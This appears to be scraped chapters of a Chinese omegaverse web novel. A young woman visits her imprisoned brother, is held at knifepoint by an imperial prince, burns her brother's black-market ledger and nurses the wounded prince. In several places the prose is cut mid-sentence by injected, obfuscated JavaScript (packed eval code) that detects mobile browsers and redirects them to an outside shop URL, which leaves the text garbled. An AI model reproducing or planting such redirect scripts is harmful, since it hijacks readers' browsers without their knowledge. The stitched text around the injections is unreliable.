蒙在眼睛上的眼罩被揭开,尤纪推门走到审讯室内,第一反应就是他变瘦了好多。 连弛垂着头坐在长桌前,黑色的短发湿漉漉的,脸上还有着水珠,整个人像是从水里捞出来的一样。 单薄的囚衣贴在他消瘦的身体上,后背的肩胛骨突兀地耸立着,像是马上要从后背长出一对羽翼。 不难想象,他在这段时间内受到了怎样的折磨。 “哥哥……”尤纪的眼泪汹涌出来,快步走到桌前,想要仔细看看连弛。 “尤纪小姐,请使用帝国语交谈。”安德烈·冯·哈耶克站在门边,警告道。 尤纪回头看了安德烈一眼,用手背抹去眼泪。 “哥哥,我是尤纪,”她用帝国语低声喊着连弛,“你抬头看看我。” 连弛这才抬起头。 他眼窝深陷,双颊凹陷下去,整张脸像是皮贴着骨头的骷髅,左脸颧骨到嘴角处横亘着一条血肉模糊的伤疤。 见到尤纪,他原本漠然的神情激动起来。 “你怎么在这里?尤纪,你怎么在这里?!”连弛的双眼里迸射出濒死野兽一样的精光,“你怎么进来的?你知不知道这里是哪里?” 尤纪的心脏都被攥紧了。 她头一次见到兄长这样凶狠的表情,他的眼睛像是饿狼一样,简直要将她整个人撕成碎片。 “哥哥,我……我是来证明你无罪的。” 尤纪双眼模糊。即使早就想好了怎么解释,但在连弛充满怀疑的目光底下,她的解释显得苍白而无力。 “麦肯·威尔森先生替我向总督署递交了探视申请,我亲自过来见你,是要找到你无罪的证据。” “无罪的证据?” 连弛的眉毛狠狠地拧起来,他咬牙切齿地看着尤纪:“尤纪,你去找了威尔森那个叛徒?你居然跟叛徒为伍?” 尤纪从未见过如此狰狞的连弛,完完全全地像个真正的罪犯。 她忍住心中的酸涩,身体前倾,伸过手去,覆盖住连弛拷在桌边、伤痕累累的双手。 “哥哥,你告诉过我,你不是反抗军。我也相信你,哥哥,你不要这样,我很快会救你出去的……” 她的话说得太急,有些语无伦次,帝国语的语法也有些错乱了,“你不是在肯迪特先生家通下水道吗,哥哥……肯迪特先生死了,你有没有别的证明……” 连弛甩开尤纪的手,他的力气打大极了,简直要掀翻整条长桌。 他不再用帝国语,用起了蒂亚语跟妹妹争吵。 “帝国认定的罪犯,宁可错杀不肯放过,你凭什么推翻?就凭你一个平民?你要怎么推翻?你要成为真正的叛徒吗?” 双手被猝然甩开,尤纪的身体晃了一下。 她泪流满面地再次伏到连弛面前,急匆匆地用蒂亚语回答他:“探视的时间只有十五分钟。哥哥,我记得你每次帮别人通下水道,都会带回来一份签名工单……告诉我,它放在哪里?” “我没有你这个妹妹!你的衣服哪里来的?是不是威尔森那个叛徒给你买的?你投靠了叛徒!” 安德烈站在门边,紧紧盯着这对争吵的兄妹。 一开始,他们是用帝国语吵架,后来争执升级,他们用起了蒂亚语。 安德烈再次提醒了一句“使用帝国语交谈”,但是没有人理会他。 兄妹二人旁若无人地争吵,语速越来越快,像是仇人见面那样激动无比。 这个时候,他本应该立即终止会面,让门外驻守的审讯队指派翻译入场。 但在这时,他又想起今天早上总督的告诫。 总督还亲自签署了《特别探视令》——这份探视令严格限制了参与的人,如果让审讯队进来,只会让事态变得复杂。 他在心中默念了一遍:尤纪是总督的情人。 他作为总督的副官,应当给予总督的情人一定的方便。 于是安德烈放弃了让审讯队进入室内的想法。 他会一些简单的蒂亚语,他听到连弛和尤纪在飙脏话,相互之间问候对方亲朋,还有许多俚语夹杂其中。 他没有听出任何关于反抗军的情报。 他想,这真是毫无意义的一场会面,简直是浪费时间。 在尤纪半个身体探过桌面,揪着连弛的衣领,争执快要升级成厮打的时候,安德烈将他们分开了。 “探视的时间到了,尤纪小姐。” 尤纪气喘吁吁地坐在座位上,脸上还泛着激烈争吵后的红晕。 她睫毛上缀着晶莹的泪珠,轻轻一眨眼,那泪珠就从她腮边滚落下来。 “谢谢您,哈耶克校尉。”尤纪说。 安德烈拿出手帕让她擦干眼泪。 连弛被带出审讯室,尤纪的眼睛重新蒙上眼罩。 “我哥哥是个混蛋,”Omega少女的眼泪又落了下来,洇湿了黑色的布料,“但他不会上绞刑架的,对吗?” 安德烈低头看着这个快要碎裂的少女。 他非常能理解这对兄妹:即使因为意见不合闹得天翻地覆,却仍旧希望对方活着。 “死刑需要总督签字。”他回答了个模棱两可的答案。 这个答案给了尤纪一些信心。 她脸朝着安德烈的方向,仰着头,微微张着嘴,露出了恳求的表情。 她知道自己这副柔弱的样子最容易引人同情,“哈耶克校尉,请问可以帮我哥哥请一位医生么?他身上有伤,我害怕他……” “我稍后会通知审讯队。”安德烈将目光移到别处。 “谢谢您。愿女神祝福您。”尤纪将右手覆在左手上,对着安德烈鞠了一躬。 —— 回程的途中,仍旧是下着暴雨。 尤纪回味着刚刚跟连弛的争吵——她与连弛的对话,以吵架开始,又以吵架结束。 但这些都是演给安德烈看的。 厨房墙壁后的空腔里,连弛的工作工单跟另外一份账簿放在一起。 在拿回工单作为证据的同时,也要帮连弛销毁账簿。 她猜想这份账簿或许与他们家突然提升的生活水平有关系。 她得想办法单独回家一趟。 装模作样的吵架后,尤纪很快感觉到疲惫。 黑暗里,风雨声成为最好的催眠药。她戴上兜帽,很快蜷在后座上睡着了。 安德烈冷静地开着车,心中想着回去会见记录要怎么写,冷不防看到路上停着的车辆。 这条路未做硬化,路面坑坑洼洼,一下暴雨就积起水坑,他们的车辆先前就是在这个地方因为涉水而熄火的。 安德烈认出来这是帝国制造的最新型号的车辆。 一个身穿驻防军制服的帝国军人正在打开引擎盖检查。 “尤纪小姐,前方有车辆被困住了,请您待在原地不要动,我去看一下。”在战友陷入困境时,帝国军人有提供帮助的义务。 尤纪“嗯”了一声,换了个蜷缩的姿势。 安德烈检查了一遍枪套中的手木-仓,才打开车门。 “早上好,朋友。”安德烈撑着伞走过去。 那个驻防军很年轻,看肩章是个下士,明显不太会修车,非常生疏地检查着车辆。 安德烈为他打伞遮雨,站在他身侧出声提醒:“先断开电池,检查空气滤清器。如果滤芯没有湿,在检查分电器和点火线圈……” 驻防军看了一眼安德烈的肩章,朝他行了个军礼,“校尉阁下,我叫安洛,是驻防军步兵团第三十一团,是来特殊监狱调查的。请问您怎么称呼您?” 宪兵与驻防军分属于两个系统,作为副官的安德烈并不经常与驻防军打交道,眼前的这个年轻人更是从未见过。 “我是安德烈·冯·哈耶克,你可以叫我哈耶克校尉。” 年轻的下士重新埋头检查车辆,安德烈悄悄地将手放在后腰的枪套上。 “驻防军怎么会来特殊监狱?我不记得驻你们有要案调查的职责。” 特殊监狱的位置权限只对少部分帝国宪兵开放,这个驻防军的下士怎么可以开车来这里? 安洛停止了手上的动作。 他的呼吸急促起来,面色有些涨红。他张口想要解释,但有人比他更快。 “安德烈,你太少见多怪了,是我把他叫过来的。” 车门自内部打开,一双白色的马靴刚要踏出,又缩了回去。 “真脏啊,都是泥水坑。” 雨水不长眼睛,淋到他这位帝国第三顺位继承人的脸上,真该死。 他短促地惊呼了一声,急急地关上车门。 “我的亲卫都不会蒂亚语呢,我只是找了个会语言的翻译当司机而已……” 安德烈一听见兰德尔的声音就感觉大事不妙。 他走到车窗前行了个军礼,沉声道:“兰德尔殿下,我以为您现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203740|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该在养伤。况且,您应该向总督阁下报备。” “躺着养伤有什么意思?” 为了避免风雨进入车内,兰德尔只把车窗开了一条很小的缝,他用金线包边的白色手套也因此被淋湿,“我奉帝国元帅的命令来调查爆炸案,为什么要向桑雷斯报备?” “那么,希望阁下的调查顺利。”安德烈抬步,准备离开。 他有种非常不祥的预感,然而这种预感在刚刚抵达他的脑神经时就已经成为现实。 “我们换辆车,”兰德尔命令道。 他的亲卫推开车门,在车门前撑起纯金龙头握把的长柄雨伞,白色马靴径直踩进泥水坑里。 纯白西裤上泼溅了黄色的泥浆,兰德尔嫌弃地“噫”了一声,“这条路真该修了。” “安德烈,你拦在我面前是什么意思?”兰德尔眯起冰蓝色的眼睛,“给我让开,只是换一辆车而已。” 安德烈硬邦邦地伸出手,拦住兰德尔和亲卫的去路:“这辆车正在执行总督亲批的特殊任务,兰德尔殿下,非常抱歉。” 他寸步不让,想以总督的名义阻止兰德尔换车。 安德烈知道眼前这个吊儿郎当的继承人是怎样的草菅人命,如果让他知道尤纪在车上…… 他不敢再想下去,毕竟这涉及到了他的重大失职。 但很明显,兰德尔并不是个听话的弟弟。 兰德尔不需要说话,只是朝着旁边的亲卫使了个眼色,安德烈后腰上的枪就被卸了下来。 他要伸手去夺,但亲卫同样精通格斗术,两个人居然在瓢泼大雨里打了起来。 而这位扎着高马尾、身穿白色西服的帝国第三顺位继承人握着伞,闲庭信步般走到尤纪乘坐的那辆车前。 他拉开了后车门,在看见后座上蜷缩的人时,愣了一下。 随后,他改了主意,坐上了驾驶座。 —— 尤纪正在做噩梦。 她一会儿发现自己在被日光炙烤,桑雷斯·贝德福正站在太阳里头点火要把她烤成人干。 一会儿又觉得置身冰窟,银发总督的双眼就是封印她灵魂的冰山。 尤纪很快从这样荒诞的梦境中清醒。 强烈的推背感袭来,那之后又是急刹车,尤纪的额头磕到了前排的座椅上。 “哈耶克校尉?”尤纪捂着额头,迷茫地问着。 她记得安德烈开车一直很平稳。 驾驶座上的人没有回答她。 油门和刹车交替着踩到底,引擎的轰鸣声比从前大得多,简直是咆哮着横冲直撞。 尤纪头脑眩晕,胃里翻江倒海:“发生了什么事情?可以开得平稳一点吗,安德烈,我有些想吐……” 雨势渐歇,车辆停了下来。 尤纪的心脏怦怦直跳,她预感到了某种令她颤栗的危险,想要揭开眼罩。 车门被打开,有人的手比她的动作更快。 眼罩掀起,昏暗的天光下,尤纪看到兰德尔·贝德福的笑容。 “两天没见了,尤纪小姐,真是好巧。” 兰德尔挤进车座,飞快地关了车门。 轿车车厢逼仄,尤纪看见兰德尔从绑腿处拔-出了一把匕首。 还是上次她见过的那把匕首,手柄上镶嵌着各种昂贵的宝石。 而此刻,薄而锋利的刀刃正贴着尤纪的脸颊。 “上次让你跑掉了,实在是非常抱歉呢。”他的语气惋惜,目光像是毒蛇一样,一点点舔舐着尤纪惊恐的脸。 尤纪的全身都泛起鸡皮疙瘩,伸手去拧车门,却发现车门已经上了锁。 这是个无法逃离的密闭空间! 她全身僵硬,无法动弹,嗓子像是被什么堵住了一样,发不出声音,只能“嗬嗬”作响。 这样的惊恐取悦了兰德尔,他削断了尤纪耳侧的一缕头发,在手指尖旋转把玩。 “尤纪小姐,请告诉我,为什么我这位单身到27岁的哥哥,会喜欢一个新人类呢?” 兰德尔盯着尤纪的眼睛,笑容越来越深。 “我哥哥拒绝了与帝国贵族的联姻,才被放逐到蒂亚当总督,我那时候完全不懂为什么……” 他歪着头思考着,冰蓝色的眼睛里有种混合了天真和残忍的笑意。 兰德尔的刀锋在尤纪的咽喉处逡巡,他声音阴恻恻的:“现在,看到你,我好像有些懂了。是我想的那样吗Beta小姐?我亲爱的哥哥是不是藏着什么不为人知秘密呢?” 轿车车厢太小了,尤纪被兰德尔逼到了角落里。她的下半身被压着,压根无法顺畅呼吸。 “就是您想的那样,”她咬紧了后槽牙,满怀恶意地回答着,“你亲爱的哥哥是个立不起来的无能男人,而我是个长了XX的Beta女人!一直以来都是我上的他!” 15. 合作 “怎么可能!” 兰德尔·贝德福的笑容僵在脸上。 他似乎是想到了什么,脸色又是一变再变。 “你再说一遍?!我哥哥怎么可能……” 他还沉浸在自己思考中的时候,尤纪伸出食指,轻轻地将横在自己脖子前面的匕首推开。 “事实就是这样,不管您相不相信。” 她的脸上露出那种不堪忍受的表情:“我一开始确实是作为翻译进入总督署的,可后来……后来一切都变了。 “兰德尔殿下,您仔细想一想吧,为什么总督会拒绝与帝国贵族的联姻?为什么他一直单身到了27岁?为什么,他又会看上一个普通的Beta呢?” 尤纪轻飘飘地将那些问题推了回去。 她身为Omega的事情只有极少数人才知道,就连麦肯·威尔森也只以为她是个Beta。 根据兰德尔之前的话,尤纪可以确定,他并不知晓她真正的性别。 “你,你,你……”兰德尔一口气哽在胸口,“你这个贱民,居然造谣!我哥哥怎么可能是那种人!” 尤纪叹了一口气。 她趁着兰德尔双目放空、两眼无神,一点点地抢夺着他手里的宝石匕首。 “我相信您已经调查过我了,我的父母,我的兄长都是Beta,我的取向也是Beta,而非人类男性……” 尤纪口中幽幽地说着。 她左手覆盖在兰德尔的手上,右手悄悄地将匕首从他的手里抽出来。 终于,那把镶嵌着宝石的匕首完完整整到手了。 尤纪松了一口气。 “你这个贱民……”兰德尔的眼睛失了焦,整个人像是被抽掉了灵魂,只是不断重复着辱骂的话语。 尤纪不为所动。 她的眼睛看向他的腰侧——皮革枪套里,一把手-木仓正插在里面。 为了确保自己的安全,她还需要把枪也抢过来。 尤纪观察着兰德尔的表情,用轻柔的语气问他:“您是来调查爆炸案的,对么?” 兰德尔全然没有察觉到自己的处境,此时听到尤纪问话,他下意识地回答了。 “对。” 尤纪又叹了一口气。 她双手向前伸,温柔地环抱着兰德尔快要支撑不住的身体。右手却探到兰德尔的腰侧,摸到了他皮质枪托。 他们的距离近极了,尤纪贴着兰德尔的耳朵,轻声说:“审讯队把我哥哥定成了罪犯,但是他其实是无辜的,只是……” 她轻而易举地把他的枪也卸了下来。 头脑空空的帝国三殿下实在好骗,尤纪只是开了个头,他就顺着话接了下去。 “只是什么?” 尤纪挤出来两滴眼泪。她将匕首和枪都藏到了自己的背后,开始推兰德尔的肩膀,让他远离自己。 “总督阁下为了得到我,用我哥哥的命来要挟我……只有我让他满意了,他才会大发慈悲,让我来见一面我的哥哥……” 兰德尔的震惊更甚之前。 他不敢相信自己的耳朵,“桑雷斯居然是这样一个道德败坏的人?” “如果不是这样的话,为什么哈耶克校尉要阻止您接近我呢?” 尤纪反问道。她将腿收到胸前,试图拉出一个安全的距离。 兰德尔答不出话来。 尤纪假意抹了一把眼泪,又撩起袖子,露出被掐得到处是红痕的手臂:“您看,这就是证据。我和我的哥哥,都是被桑雷斯迫害的无辜人。” 兰德尔双目圆睁,呼吸剧烈起伏。 他足足反应了半分钟,失焦的眼睛才重新看向了眼前。 眼前的少女脸上正流淌着虚假的眼泪,这让他觉得恶心。 “如果你说的是真的,我应该先杀了你,再杀了你哥哥,”“我哥哥的名誉不容冒犯。新人类,你该死。” 尤纪没说话,又向后缩了一点。 她将右手背在身后,握住了手-木仓握把,准备着给兰德尔来上一枪。 “我的匕首呢?” 兰德尔发现匕首已经被尤纪夺走。 他下意识就要反手去拿枪,但枪套中已经没有手-枪了。 “贱民,你做了什么?”暴怒的声音响起来。 “不,兰德尔殿下,我不认为杀了我和我哥哥就可以维护总督的荣誉。” 尤纪飞快地拿起手枪,对准兰德尔的喉咙。 但兰德尔的反应并未如尤纪所想的那样惊慌失措。 他居然兴奋地笑了起来。 “我只在里面放了一颗子弹。尤纪,你要跟我玩轮盘游戏吗?” 这个变态!尤纪心中暗骂。 她当然不敢开枪,她连击锤都没有按下。 刺杀总督和刺杀兰德尔的后果完全不同。 桑雷斯死了,失去领导人的蒂亚会陷入动荡,蒂亚原住民有小概率可以重新夺取政权。而尤纪,会以英雄的名义永远留在蒂亚的历史里。 但兰德尔不同,他只是个来度假的帝国三殿下,他在蒂亚区没有实权。尤纪只会毫无意义地死去。 “尤纪,你想玩吗?”兰德尔的眼睛亮晶晶的,宛如一个期待着游戏的孩童,“我好多年没有玩过这个游戏了。” 尤纪直视着兰德尔的眼睛,一个绝妙的主意在她脑子里涌了出来。 “我们做个交易吧,兰德尔殿下。您帮忙洗清我哥哥的罪名后,我陪您玩一场轮盘游戏。” 只要连弛释放,她会用尽办法和连弛离开蒂亚区,前往联邦的其他国家,她这辈子都不会跟兰德尔再见。 兰德尔微微歪着头,思考着这场交易的合理性。 “一次不够,三次。” 尤纪用枪口顶了顶他的喉结:“两次。我哥哥释放后,我不会再受到总督的威胁……这也可以维护总督的名誉。” 兰德尔神色有所松动。 他的眼珠子转来转去,显然在思考。 尤纪举着手里的枪,真诚地劝慰着:“您是为了调查爆炸案的真相而来,我是为了我哥哥的清白而来。我们的目标是一致的,我们完全可以合作……” 兰德尔冷哼一声,算是同意了尤纪的交易。 尤纪放下手里的枪。 她紧绷的神经松懈下来,胃里的翻江倒海重新涌上喉头。 “让开,我要吐……”她双手撑着兰德尔的胸口,想要将他推得更远,但话未说完就身体一歪,吐了出来。 兰德尔弹射般后退,这反应足够快,但也没能躲开。 他看了一眼自己大腿上的那团呕吐物,又看着继续呕吐的尤纪,尖利地叫喊起来。 “尤纪!你!” 他用颤抖的食指指向尤纪,脸上的表情像是活吃了一只绿头苍蝇:“从来没有人吐在我身上过!我要杀了你!” “呕——”尤纪再次吐了出来。 胃部排空后,尤纪终于舒服了。她拿出手帕擦拭嘴角,又斜睨着兰德尔。 “殿下,如果不是您开车太猛,我也不会吐。” “枪在我手里,想要杀了我的话,您得跨过这么大一片……” 呕吐物的酸臭味道在车厢内蔓延,争先恐后地进入兰德尔的鼻腔。 他拧着车门想要立即逃离,却发现车门早就被自己锁上了。 他嘴角抽动,只能忍受着全方位的气味攻击,硬着头皮从中控台钻到前排驾驶座。 兰德尔·贝德福拧动钥匙。车辆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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为了让兰德尔安心给她当司机,尤纪还十分有诚意地许诺道:“等我拿到了工单后,我将作为一名合格的翻译兼向导带您游玩,包括带您买一套新的衣服——当然,这得您自己付钱。” —— 一路上,尤纪都紧紧盯着兰德尔。 即使呕吐物威胁十分有用,她也不敢对兰德尔这个变态放松警惕。 她害怕他突然发疯开车撞到墙上,拉着她一起死。 当然,兰德尔的车技也让尤纪不敢恭维。 他开车霸道惯了,横冲直撞,好几次差点撞到人。还好现在下着雨,路上的行人和车辆都很少,这才没有出什么交通事故。 雨势渐弱。 车辆有惊无险地停在平民街21号楼楼下时,天空中只有细雨飘洒。 这辆小轿车车身溅满了泥水,从外观上来看十分狼藉,但它的出现仍旧吸引了许多居民的注意力。 “兰德尔殿下,劳烦您稍等片刻,我回家去拿了工单就下来。” 尤纪并不觉得帝国的三殿下会纡尊降贵地造访她家——这也是尤纪肯与兰德尔合作的原因。 她单独回家取连弛的工作工单时,完全可以顺便销毁那本账簿。如果时间足够的话,她还可以简单地翻阅一份。 不过兰德尔并不是那种以常理出牌的人。 他抢先一步下了车,彬彬有礼地为尤纪拉开车门:“尤纪小姐,地点到了,请下车。” 尤纪疑惑地看向他。 她猜想兰德尔心里又憋着什么坏主意。明明他刚刚还称呼她“贱民”。 兰德尔年轻英俊的帝国贵族面孔很快引来了一大批围观的平民。注视的眼睛越多,他的表演欲就越旺盛。 他将手挡在车门上沿,防止乘客下车时碰到头。 尤纪皱着眉问他:“你想干什么?” 兰德尔露出一个温和的笑容,像一个真正的绅士那样问着尤纪:“尤纪小姐,恕我冒昧,请问可以去你家喝一杯茶吗?” 16. 连弛的生意 尤纪凝视着兰德尔微笑的脸。 他嘴唇苍白,面容上毫无血色,目光又是温柔而亲切的。 不管是谁看,都会觉得他是个很有礼貌的贵族少爷。只有尤纪知道他那装模作样的表象之下藏着毒舌般的心。 电光石火间,尤纪想明白了他为什么这么装——是他人的视线。兰德尔很在乎别人的眼光。 有第三人在场的时候,他会装成一个受到良好教育的绅士,不会对尤纪做出恶劣的举动。 “你很在乎别人的目光吗?”尤纪试探着问他。 “什么?”兰德尔怔住。 “有其他人在场的话,你就不会对我做冒犯的事情。” 这是陈述句。兰德尔没有承认,也没有否认,但他脸上的笑容快要挂不住了。 尤纪没有再理会兰德尔,抬步下了车。 时间紧迫,这时候一定有很多人正在寻找兰德尔。 尤纪得抓紧时间找到工单,销毁账簿。 她迈步上了二楼,果然有许多邻居探头探脑地张望。 尤纪从地毯下面拿出钥匙开了门,兰德尔想要跟她走进去,但尤纪站在门口,并没有要邀请他入内的意思。 尤纪先是跟邻居太太笑着打了个招呼,又摸了摸跟过来的小麦克的脑袋,才抬头告诉兰德尔:“平民街没有通水电,如果您想喝茶,得去第九大街那里打水,然后再烧水泡茶——不过,我家里没有茶叶这样贵重的东西。” “要麻烦您跑一趟了。”尤纪假笑着对他说。 在兰德尔不悦的目光下,尤纪关上了门。 兰德尔的声音在门外响了起来,他似乎说了些什么,但尤纪没听清楚。 她跑到厨房,蹲下来敲敲打打,在靠近灶台角落的地方找到了一块与众不同的砖。 她小心翼翼地卸下砖块,拿出里面放着的铁盒。 铁盒里放了两本册子,一本是连弛的工作工单,尤纪翻到最后一页,果然在里面看到了他在肯迪特先生家的工作记录,上面还有肯迪特和雇主的签名。 上面清晰地写着连弛完工的时间:4月15日凌晨2点15分。 而爆炸案是凌晨三点发生的。 从肯迪特先生家到爆炸案的地点,就算是跑,也需要一个小时。连弛没有作案的时间,这完全可以排除连弛是爆炸案的嫌疑人这件事。 接下来就是那个账簿了。 尤纪的心脏怦怦直跳。 虽然已经猜测到连弛在做什么,但她仍有些呼吸急促。 她终于要揭开困扰她这么久的谜题了。 尤纪一页一页地翻账簿,冷不丁想起连弛不经意间说起的话。 “尤纪,我们很快可以离开这里,重新买回苏堂路的别墅中。再给哥哥一些时间。” 连弛还说:“每个人都有自己的秘密,尤纪,你不可以窥探哥哥的隐私。” 尤纪紧紧捏着账簿,牙齿咬得咯咯作响,又想哭又想笑。 烈酒、绷带、药品、军用罐头、抑制贴片、通讯设备、伪结合素…… 各种各样的违禁品,连弛沾了个遍。 他甚至还交易军械零件! 在不知不觉中,连弛竟然已经成为了蒂亚区黑市的重要人物!不然他不会有这么详细的一本账簿! 连弛确实没有参加反抗军,但他倒卖的这些物资,足够他上十次绞刑架! 他的第一桶金怎么来的?他交易的地址在哪里?他存放赃物的仓库在哪?他怎么进行的交易? 交易的对象又是谁? 他真的是每天都打三份工来养家吗? 他跟反抗军又是什么关系? 尤纪遍体生寒。 这几年,她竟然一直生活在连弛的谎言中! 父母失踪后,她活在连弛给他围起来的玻璃罩子里,和从前一样读书、生活,竟然对他做的事情一无所知! “连弛……连弛!” 尤纪咬牙切齿地念着兄长的名字。 尤纪在厨房里生了火。 火光燃起来的时候,她面无表情地将那个账簿扔进了火里。火舌像是吞噬兄妹之间的信任那样,一点一点地吞噬了连弛的违法证据。 跳跃的火苗里,尤纪突然想到了一件事情。 这么重要的账簿,为什么要跟工单放在一起? 她又翻了几遍工作工单。 上面都写着很正常的工作记录,尤纪暂时想不出工单和账簿之间有什么关联。 谨慎起见,她撕下了肯迪特先生签名的那一页,把剩下的工单册子装到铁盒里,再藏到厨房角落的空腔中,重新封好了砖块。 等账簿烧成灰烬之后,尤纪才想起兰德尔还等在门外。 “笃笃笃——”兰德尔的敲门声也响了起来。 “尤纪小姐,我买回了水和茶叶,请问可以开门了吗?” 尤纪只能给他开门。 兰德尔的脸色更加苍白了,嘴唇更是颤抖着:“水和茶叶都买回来了,尤纪小姐,可以邀请我进去吗?” “这并不是个好主意。”尤纪沉着脸说。 “总比把我拦在门外要好。”兰德尔竭力保持着微笑。 尤纪不情不愿地侧身让开。 在这时候,兰德尔居然还十分有礼貌地帮尤纪把水桶提进了屋内。 等到大门关上后,他手一松,水桶砸到地上。水泼溅出来,很快顺着地板的纹路浸到了木头缝隙里。 “你进来做什么?”尤纪才不相信他只是想过来喝一杯茶,她冷冷地盯着兰德尔,“工单我已经找到了,这时候你应该回总督署了。” 兰德尔没有回答尤纪的问题。 紧闭的门扉隔绝了其他人探寻的视线,他整个人都放松下来,打量着屋内的陈设。 非常陈旧的家装,木地板边缘翘起,露出黑漆漆的缝隙,房门的一角有发黑的霉菌,门合页上锈迹斑驳…… 兰德尔刻薄地评价着尤纪的居住地,目光却对准了桌面上的电话机,“没有通电的贫民窟居然有一部电话,真令人惊奇。” 尤纪一愣。以前居住在苏堂路的小别墅时,家里就有电话,举家搬来平民街后,父母保持着原来的习惯,安装了电话机。 但她父母三年前失踪的。父母失踪之后,连弛仍旧给电话机续费…… 所以,他参与黑市交易的时间,比尤纪猜测的还要早? 兰德尔抬步进了尤纪的卧室。 他毫无礼貌,拧开门把手就进去了,尤纪没来得及阻止他。 兰德尔看到了床上摆放着的玩具熊。 “这是你的房间吧?好脏,上面还有鞋印,早该扔掉买新的了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215447|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他用手指尖捻起玩具熊的耳朵,嫌弃地将玩具熊扔到地地面,又坐到了尤纪的床上。 “这床单也太旧了……” 尤纪紧紧皱着眉,忍住扇他两个耳光的冲动。 “看完了吗?该回总督署了。” 在她隐忍的怒火终于要发作的时候,兰德尔挑剔的声音渐渐小了。 “咚”的一声,他倒在了尤纪的床上。 白色的西装上洇出鲜红。 尤纪吓了一大跳,她连忙走上前去查看他的情况。 “兰德尔殿下?” 她将手指放到兰德尔的鼻尖处,还好,他还有呼吸。 “兰德尔殿下,您醒一醒啊!”尤纪连忙摇晃他的肩膀。 兰德尔没醒。 因为尤纪的摇晃,他西装上的血迹正缓慢扩大,在胸口处染红一大片。 尤纪有些慌。 兰德尔受伤了?他什么时候受的伤? 如果他死在这里,她自己会有很大的麻烦,连弛的出狱也会成为大问题。 银灰长发的帝国少年面白如纸地躺在那里,苍白的嘴唇紧紧抿起来,隐隐有股破碎感。 此刻的尤纪当然没有欣赏他的心情。光是他那张与桑雷斯极其相似的脸,已经让尤纪十分讨厌了。 她对着兰德尔的耳朵大喊了一次,见还是喊不醒他,只能解开他的西装,像剥洋葱般解开他穿戴整齐的马甲、衬衫、丝绸内衣,然后看到了兰德尔胸口上的刀伤。 这刀伤看起来非常深,已经用线缝合过了。大概因为他没有谨遵医嘱躺着养伤的缘故,此刻的缝线已经裂开,缓慢地渗着血。 又因为他今天淋了雨,伤口发红发肿,有些感染的迹象,目前为止还没看到有脓液。 尤纪不想管兰德尔哪里来的刀伤,她现在只求一件事——要死出去死,别死她家里。 但这样濒临感染的创面,她自己没有处理的把握。 得找一家医院,先清创消毒,后续是缝针还是其他的,都不是尤纪该考虑的事情了。 但问题是,要把兰德尔从楼上搬到车里,并不是她一个omega女性能做到的事情。 得找几个邻居来抬。 而且尤纪也不会开车。 或者,最简单的,把帝国巡逻队的人找过来。 这是他们帝国的三殿下,巡逻队的人会把兰德尔带回去的。 现在只是中午,还不到他们巡逻的时间,或许需要麻烦一位邻居帮忙去喊他们过来…… 只是她自己要花一些时间来解释,为什么帝国三殿下会在她的家中了。 盯着陷入昏迷的兰德尔,尤纪怒从心上起,恶向胆边生,对着那张酷肖桑雷斯的脸“啪”地打了一个巴掌。 银发少年的脸被打得偏向一边,但他并没有要醒来的迹象。 尤纪不得已,只好又给了他一个巴掌。 “啪——” “啪——” “啪——” 在第四个巴掌后,兰德尔悠悠醒转。 尤纪看着他有些发肿的脸,将自己微微发红的手背到身后。 “兰德尔殿下,”她装出非常惊慌的样子来,“您的伤口裂开了,而且还有点感染……” 尤纪挤出两滴虚伪的眼泪:“您终于醒了,我真的担心死了。” 17. 旺吉太太 “你哭得好假,”兰德尔有些气喘吁吁,“你去把……瑞利叫过来,让他开车送我回去。” 尤纪居高临下地俯视着这位发号施令的殿下。 他到底有没有长脑子? 他们现在在平民街,周围都住着贫穷的蒂亚原住民,她要哪里去给他找个叫“瑞利”的人? “兰德尔殿下,您知道这里是哪里吗?”尤纪垂下眼皮,凝视着他胸口因缝合线崩裂而翻卷的皮肉。 兰德尔茫然了一会儿,看着周围陈旧的陈设,张了张嘴,皱着眉头没说话。 他看起来一时半会死不了。 一个绝妙的主意在尤纪的脑子里冒出来。 “殿下,平民街的治安不好,”她在他的面前蹲下来,大言不惭地说,“我们停在楼下的小汽车,刚刚被偷了。” “电话因为欠费,已经停机了。”尤纪面不改色地说着谎。 “怎么可能……”兰德尔的脸色越来越惨白。 尤纪耸了耸肩膀,没吭声。 过了会儿,她看见兰德尔的神情也恍惚起来,才说:“我要到第九大街的巡逻队岗亭那里,通知帝国的军队来接你。” 尤纪将他的衣服一件一件地合上,站起身。 兰德尔·贝德福终于意识到自己要被独自丢在贫民窟。 他紧紧地抓着尤纪的披风下摆,冰蓝色的眼睛里第一次露出了惊恐。 “不要把我丢在这……”他气若游丝,“你让其他人去叫巡逻队……” 他的惊恐表情让尤纪感到分外愉悦。 在总督署的医疗室里,她也曾像一只惊恐的老鼠那样,躲避着兰德尔举起的刀锋。 而现在,惊恐的人变成了兰德尔。 尤纪甚至想让他更惊恐一点。 她抓住了兰德尔的手,发现他的皮肤温度有些发烫,于是她将手移到兰德尔的额头上。 果不其然,他发烧了。 尤纪用商量的语气跟他说:“你发烧了,殿下。但是我这里没有药品……不然这样,我先出去买酒精和退烧药,等您醒了,我们再一起去通知巡逻队。” 